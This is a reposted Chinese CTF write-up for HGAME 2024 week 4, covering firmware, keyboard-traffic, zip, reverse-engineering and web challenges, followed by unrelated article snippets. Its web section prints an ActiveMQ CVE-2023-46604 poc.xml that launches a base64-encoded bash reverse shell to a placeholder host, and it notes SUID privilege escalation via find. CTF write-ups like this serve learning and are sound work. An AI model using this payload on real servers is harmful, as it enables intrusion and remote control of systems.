HGAME 2024 WEEK4 WP

news2025/2/24 11:55:58

文章目录

    • IOT
      • ez7621
    • MISC
      • ezKeyboard
      • Maybezip
      • **Mondrian's 🔑
    • RE
      • change
    • web
      • Reverse and Escalation.

想念21和22年的平台和week4的 6557225

IOT

ez7621

拿到固件直接binwalk解,之后grep出hgame

在这里插入图片描述

usr/lib/opkg/info/kmod-flag.control找到这个,问了一下GPT,在lib/modules目录下寻找一番

在这里插入图片描述

在这里插入图片描述

拉到IDA里,找到一串字符串

在这里插入图片描述

xor爆破一下

在这里插入图片描述

MISC

ezKeyboard

哥们被骗了哥们一直在想为什么有两个下划线以为题或者flag出错了(因为maybezip的flag在第一天就是错的)

看见有一血了打完游戏后来看发现不对

这道题单纯多一个点就是第5个字节也被用上了,这代表同时被按下,例如010000391c

当时跑的脚本是这样的交不上

在这里插入图片描述

后来自己测试的时候发现如果长按Cap键会一直出现这个情况:
在这里插入图片描述

因此事实上在判断是否真按下CAP的时候不应该以是否为\x39作为标志,脚本就不贴了github有,主要就是注意到像上面提到的01 00 00 39 1c就是取1c

在这道题中,想把010000391c理解为取大写的Y,不过仔细想了一下发现仅仅是因为这道题正好碰巧是大写的Y,后面的都字符每次在用的时候都被再CAP小写掉了。

按道理来讲如果后面再出现字符无法判断大小写,毕竟如果目前是大写状态下无需按下CAP就可以直接大写,因此想法是只能通过上面那张图的标志,并且可以发现在长按cap的时候这个标志会无限生成,实际上写脚本判断应该考虑这个标志过后出现正常的按键流量代表松开了cap(此题即一直出现这条set report直到出现下一条01 00 00 39 00时才代表松开cap键,只不过这里正好每次就出现了一组,如果长按的话是这样的情况:

在这里插入图片描述

总之flag是

hgame{keYb0a1d_gam0__15_s0_f0n__!!~~~~}

Maybezip

在这里插入图片描述

¿¿¿¿

拿到附件,根据提示和查看hex值,可以知道是异或了0x27

在这里插入图片描述

使用010的工具–十六进制运算–二进制异或–无符号字节hex 0x27

在这里插入图片描述

得到的是加密的压缩包,里面有118张图片和一个secret.txt,用7z打开看了下时间貌似一致,CRC也不同,尝试rockyou爆破和1-8位纯数字爆破无果,猜测跟时间有关,用010看了一下

在这里插入图片描述

果然时间是不同的,那么写个脚本提取

import zipfile
zip_path = 'maybezip.zip'

with zipfile.ZipFile(zip_path, 'r') as zip:
    for info in zip.infolist():
        # print(info.filename)
        print(info.date_time)

在这里插入图片描述

得到密码为what_is_tupper

解压得到secert.txt,提示了tupper

在这里插入图片描述
义眼丁真得到micro qr code,不过直接扫没扫出来,手动取了一下01值转图片

在这里插入图片描述
在这里插入图片描述

根据格式,flag应该是hgame{Matryo5hk4_d01l}

a few moments later

接上集,哥们看见出一血马上拿起手机交了,不出意外flag是正确的

在这里插入图片描述

**Mondrian’s 🔑

提示是key is 🔑,那么就把🔑作为密码

在这里插入图片描述

看到开头四个符号和最后一个本子,锁定emoji-aes

在这里插入图片描述

能够解出来,不过貌似得先拿到hex

这里直接用以前写的burst_emoji_aes脚本稍微改一下来解,改脚本的main函数

在这里插入图片描述

能够发现开头仍然不是\x89,而是\xef\xbf\xbd,不过其他的例如\x1a这些都是正确的,应该是大于0x80的都显示\xef\xbf\xbd?

在这里插入图片描述

RE

change

在这里插入图片描述

v5取byte_7FF65B918000

13 0A 5D 1C 0E 08 23 06 0B 4B 38 22 0D 1C 48 0C 66 15 48 1B 0D 0E 10 4F

上面还有个am2qasl,鄙人猜测的是xor

在这里插入图片描述

接着

s = b'rgomo{OgfyIC~p)aTd)hao}}'
s1 = b'hgame{'
for i in range(len(s1)):
    print(s[i]-s1[i])

10,0,14,0,10,0

以为就这样循环就行了,结果不对,于是考虑动调,在上面那个地方下断点,哥们看不懂这个程序于是一个个爆

由于知道13 0A 5D 1C 0E 08 23 06 0B 4B 38 22 0D 1C 48 0C 66 15 48 1B 0D 0E 10 4F,并且知道关系是类似rot,长度24

哥们输入的是hgame{aaaaaaaaaaaaaaaaa},这个长度24,结果出来看v8不对劲,于是乎慢慢来测

手动测出来hgame{ugly_Cpp_,后面就不对了

在这里插入图片描述

再用上面的脚本测了一下,观察到10,0,14,0,10,0,-38,0,-6,0,-22,0,14,0,-54,

由此可以知道flag的雏形是hgame{ugly_Cpp_a?d?h?o?}

然后现在只剩下0C 66 15 48 1B 0D 0E 10 4F

想不出来有什么单词,让我搜搜看看能不能想到

在这里插入图片描述

ugly_cpp_and_h?o?

正好手里有单词本,让我看看

在这里插入图片描述

hook

在这里插入图片描述

hgame{ugly_Cpp_and_hook}

web

Reverse and Escalation.

看到那么多人做了这个web,猜测是复现cve

一个要登录,一个是显示ActiveMQ,搜一下ActiveMQ CVE,搜到CVE-2023-46604

于是去找CVE的exp相关用法

就是在自己的vps上写上poc.xml,内容如下:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyX2lwL3lvdXJfcG9ydCAwPiYx}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

然后使用工具:CVE-2023-46604

在这里插入图片描述

在这里插入图片描述

接着根目录cat flag显示权限不足,尝试suid提权

在这里插入图片描述

看到有find就知道稳了

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1477907.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Quartz 任务调度框架源码阅读解析

概念: quartz 是一个基于JAVA的定时任务调度框架 案例: <dependency><groupId>org.quartz-scheduler</groupId><artifactId>quartz</artifactId><version>2.3.0</version></dependency>JobDetail job JobBuilder.newJob(Sc…

TP6上传图片到OSS(记录贴)

1&#xff0c;先安装&#xff0c;我使用composer安装 在项目的根目录运行composer require aliyuncs/oss-sdk-php 2,安装成功以后vendor目录下可以看到如图&#xff1a; 3&#xff0c;上传图片代码如下&#xff1a; <?php namespace app\controller;use app\BaseControll…

宝塔FTP服务设置并结合cpolar内网穿透实现远程传输文件

文章目录 1. Linux安装Cpolar2. 创建FTP公网地址3. 宝塔FTP服务设置4. FTP服务远程连接小结 5. 固定FTP公网地址6. 固定FTP地址连接 宝塔FTP是宝塔面板中的一项功能&#xff0c;用于设置和管理FTP服务。通过宝塔FTP&#xff0c;用户可以创建FTP账号&#xff0c;配置FTP用户权限…

D*算法超详解 (D星算法 / Dynamic A*算法/ Dstar算法)(死循环解决--跟其他资料不一样奥)

所需先验知识&#xff08;没有先验知识可能会有大碍&#xff0c;了解的话会对D*的理解有帮助&#xff09;&#xff1a;A*算法/ Dijkstra算法 何为D*算法 Dijkstra算法是无启发的寻找图中两节点的最短连接路径的算法&#xff0c;A*算法则是在Dijkstra算法的基础上加入了启发函数…

数据抽取平台pydatax介绍--实现和项目使用

数据抽取平台pydatax实现过程中&#xff0c;有2个关键点&#xff1a; 1、是否能在python3中调用执行datax任务&#xff0c;自己测试了一下可以&#xff0c;代码如下&#xff1a; 这个str1就是配置的shell文件 try:result os.popen(str1).read() except Exception as …

吴恩达机器学习全课程笔记第四篇

目录 前言 P61-P68 激活函数 Softmax算法 P69-P73 Adam算法 更多类型的层 模型评估 P74-P79 偏差和方差 建立表现基准 学习曲线 偏差和方差与神经网络 前言 这是吴恩达机器学习笔记的第四篇&#xff0c;第三篇笔记请见&#xff1a; 吴恩达机器学习全课程笔记第…

ubuntu20.04 ROS-Noetic 配置qtcreator的ROS环境

文章目录 1 安装qtcreator1.1 下载安装Qt1.2 配置命令启动qtcreator2 配置ROS2.1 直接安装qtcreator-ros2.2 在qtcreator上安装ros_qtc_plugin插件3 注意3.1 构建套件3.2 更新、删除qt4 参考链接1 安装qtcreator QT官网:Qt Downloads 下载包链接:qt5.12.12 Qt5.12.12默认qtc…

如何系统性的学习推荐系统?

推荐一本适合推荐系统、计算广告、个性化搜索领域的从业人员阅读的书&#xff1a;《互联网大厂推荐算法实战》。快手公司算法专家10余年的实战经验总结。涵盖一线互联网公司当前采用的主流推荐算法&#xff0c;凸显可用性、实用性提供从算法基本原理&#xff0c;到技术框架再到…

0代码自动化测试:RF 框架实现企业级 UI 自动化测试!

RobotFramework框架可以作为公司要做自动化 但是又不会代码的一种临时和紧急情况的替代方案&#xff0c;上手简单。 前言 现在大家去找工作&#xff0c;反馈回来的基本上自动化测试都是刚需&#xff01;没有自动化测试技能&#xff0c;纯手工测试基本没有什么市场。 但是很多人…

qml 项目依赖

文章目录 出现的问题最终对比下一步 把 apptestQml3_6.exe 放到一个单独目录下&#xff0c;执行 windeployqt.exe ./apptestQml3_6.exe但是出了很多问题&#xff0c;根本运行不起来。 但是在release目录下执行下&#xff0c;程序能跑起来。 根据错误提示&#xff0c;进行添加。…

浮点数二分(一个数开根号)

#include<iostream> using namespace std; int main(){double x;cin>>x;double l0,rx;while(r-l>1e-8){double mid(lr)/2;if(mid*mid>x)rmid;else lmid;}cout<<l<<endl;return 0; }

IJCAI 2023 |时空数据(Spatial-Temporal)论文

本次IJCAI 2023共收到4566份投稿&#xff0c;接收率大约15%&#xff0c;本文总结了IJCAI 2023有关时空数据&#xff08;spatial-temporal&#xff09;的论文。 时空数据Topic:轨迹异常检测&#xff0c;时空预测&#xff0c;信控优化等。 目录 Open Anomalous Trajectory Reco…

大学生课程|统计基础与python分析8|员工离职预测模型(免费下载所有课程材料)

此系列为基础学习系列&#xff0c;请自行学习&#xff0c;课程资源免费获取地址&#xff1a; https://download.csdn.net/download/weixin_68126662/88866689 久菜盒子工作室&#xff1a;大数据科学团队/全网可搜索的久菜盒子工作室 我们是&#xff1a;985硕博/美国全奖doctor/…

深度学习500问——Chapter02:机器学习基础(1)

文章目录 前言 2.1 基本概念 2.1.1 大话理解机器学习本质 2.1.2 什么是神经网络 2.1.3 各种常见算法图示 2.1.4 计算图的导数计算 2.1.5 理解局部最优与全局最优 2.1.5 大数据与深度学习之间的关系 2.2 机器学习学习方式 2.2.1 监督学习 2.2.2 非监督式学习 2.2.3 …

Maven【3】( 依赖的范围,传递性和依赖的排除)(命令行操作)

文章目录 【1】依赖的范围结论验证①验证 compile 范围对 main 目录有效②验证test范围对main目录无效③验证test和provided范围不参与服务器部署 【2】依赖的传递性①compile 范围&#xff1a;可以传递②test 或 provided 范围&#xff1a;不能传递 【3】依赖的排除 【1】依赖…

利用python爬取本站的所有博客链接

前因 由于自己要把csdn的博客同步到hugo中&#xff0c;把博客转为md格式已经搞好了&#xff0c;但是由于csdn的图片具有防盗链&#xff0c;所以打算把所有的图片爬取下来&#xff0c;然后保存在本地 刚好本人略懂一些python&#xff0c;所以自己先写了一个脚本用来爬取各个博…

【Acwing】差分矩阵

图1&#xff1a;a和b数组映射表 由于a是b的前缀和数组&#xff0c;因此改变b[ x1][ y1]之后&#xff0c;受到影响的a中元素如右半图所示 图2&#xff1a;求b数组的前缀和 #include<bits/stdc.h> using namespace std;int n,m,q; int a[1010][1010]; int b[1010][1010]…

最新 RubyMine 2023.3.4 下载与安装 + 永久免费

文章目录 Stage 1 : 官网下载Stage 2 : 下载工具Stage 3-1 : windows为例Stage 3-2 : mac为例常见问题部分小伙伴 Mac 系统执行脚本遇到如下错误&#xff1a;解决方法&#xff1a; 执行脚本做了啥&#xff1f;和正版区别&#xff1f; Stage 1 : 官网下载 先去官网下载 我这里下…

代码随想录算法训练营第二十四天补|● 回溯理论基础 ● 77. 组合

回溯理论基础、组合问题 回溯理论基础 回溯能解决的问题 回溯的本质是穷举&#xff0c;穷举所有可能&#xff0c;然后选出我们想要的答案 回溯如何穷举&#xff1a; 横向遍历for循环&#xff0c;纵向遍历backtracking&#xff08;递归&#xff09;&#xff0c;一般来说&#…

(2024,时空 trasnformer,时空视频分词器,自回归动力学模型,潜在行动模型)Genie:生成式交互环境

Genie: Generative Interactive Environments 公和众和号&#xff1a;EDPJ&#xff08;进 Q 交流群&#xff1a;922230617 或加 VX&#xff1a;CV_EDPJ 进 V 交流群&#xff09; 目录 0. 摘要 2. 方法 2.1. 模型组件 2.2. 推理&#xff1a;可控行动视频生成 3. 实验 0. …